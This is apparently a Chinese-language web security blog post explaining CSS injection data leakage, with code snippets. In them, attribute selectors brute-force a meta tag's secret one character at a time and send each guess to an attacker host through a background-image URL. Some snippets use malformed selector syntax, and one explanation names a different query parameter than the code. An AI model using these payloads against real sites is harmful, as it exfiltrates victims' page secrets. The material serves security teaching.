CSS_Leak

Web 安全 发布于 2025-11-10 最后更新于 22 天前


先明确一下这个漏洞能实现的效果 —— 泄露页面里可被 CSS 属性选择器访问的 HTML 属性内容。

这个攻击手法挺像 xss 的,不过没涉及到 JavaScript,仅仅是借助 CSS 和 HTML 就实现了信息泄露。

CSS属性选择器

CSS 属性选择器是 CSS 中的一种选择器类型,用于选中 HTML 元素中符合特定属性条件的元素。属性选择器允许基于元素的属性名、属性值来应用样式。

CSS 属性选择器可以使用模糊匹配语法:

  1. ^=:匹配属性值以某个特定字符串开头
  2. $=:匹配属性值以某个特定字符串结尾
  3. *=:匹配属性值包含某个特定字符串
  4. |=:匹配属性值以某个特定字符串开始,并且后面可以跟一个连字符(-)

我们来看一个例子:

HTML
<!DOCTYPE html>
<head>
    <style>
        div[data-info="123"] {
            color: red;
        }
    </style>
</head>
<body>
<div class="box" id="item1" data-info="123">Content 1</div>
<div class="box" id="item2" data-info="456">Content 2</div>
</body>
</html>
HTML

运行效果是:

基础知识其实就这这些,接下来都是利用。

CSS_Leak的实现

我们知道 CSS 可以通过设置背景图片间接实现发送网络请求,这就为信息泄露提供了出口。

举个例子,现在有这么一个网页:

HTML
<html>
    <head> 
        <title>View</title>
        <meta name="secret" content="flag">
        <style>
        meta{ choose } { 
            background: { url };
        }
        </style>
    </head>
    <body>
        <h1>Hello!</h1>
    </body>
</html>
HTML

如果这里的 choose 和 url 是可控文本,就能实现 meta 元素中的元素内容读取(例如 content 的值 flag)。

实现过程:

因为 CSS 属性选择器支持模糊匹配语法,提供了长字符串爆破的可能性。我们从获取第一个字符开始。

HTML
<html>
    <head> 
        <title>View</title>
        <meta name="secret" content="flag">
        <style>
        meta{[name="secret"][content^="f"]} {
            background: url("http://ip:port?f");
        }
        </style>
    </head>
    <body>
        <h1>Hello!</h1>
    </body>
</html>
HTML

如果 content 的第一个字符是 f,就能触发 CSS 属性选择器中的行为,向 http://ip:port?a(攻击机)发送请求。我们可以保持 url 中的 get 参数名和已经爆破出的待泄露字符串保持一致,就能通过攻击机上的请求信息获取泄露信息。

后续还是一样的思路。

HTML
<html>
    <head> 
        <title>View</title>
        <meta name="secret" content="flag">
        <style>
        meta{[name="secret"][content^="fl"]} {
            background: url("http://ip:port?fl");
        }
        </style>
    </head>
    <body>
        <h1>Hello!</h1>
    </body>
</html>
HTML

就能逐步的泄露出完整的 content 属性值。

这个姿势的实现前提和 xss 是一样的,如果要窃取的是管理员用户页面中的信息,需要管理员用户主动运行这段代码(打开这个网页)才行。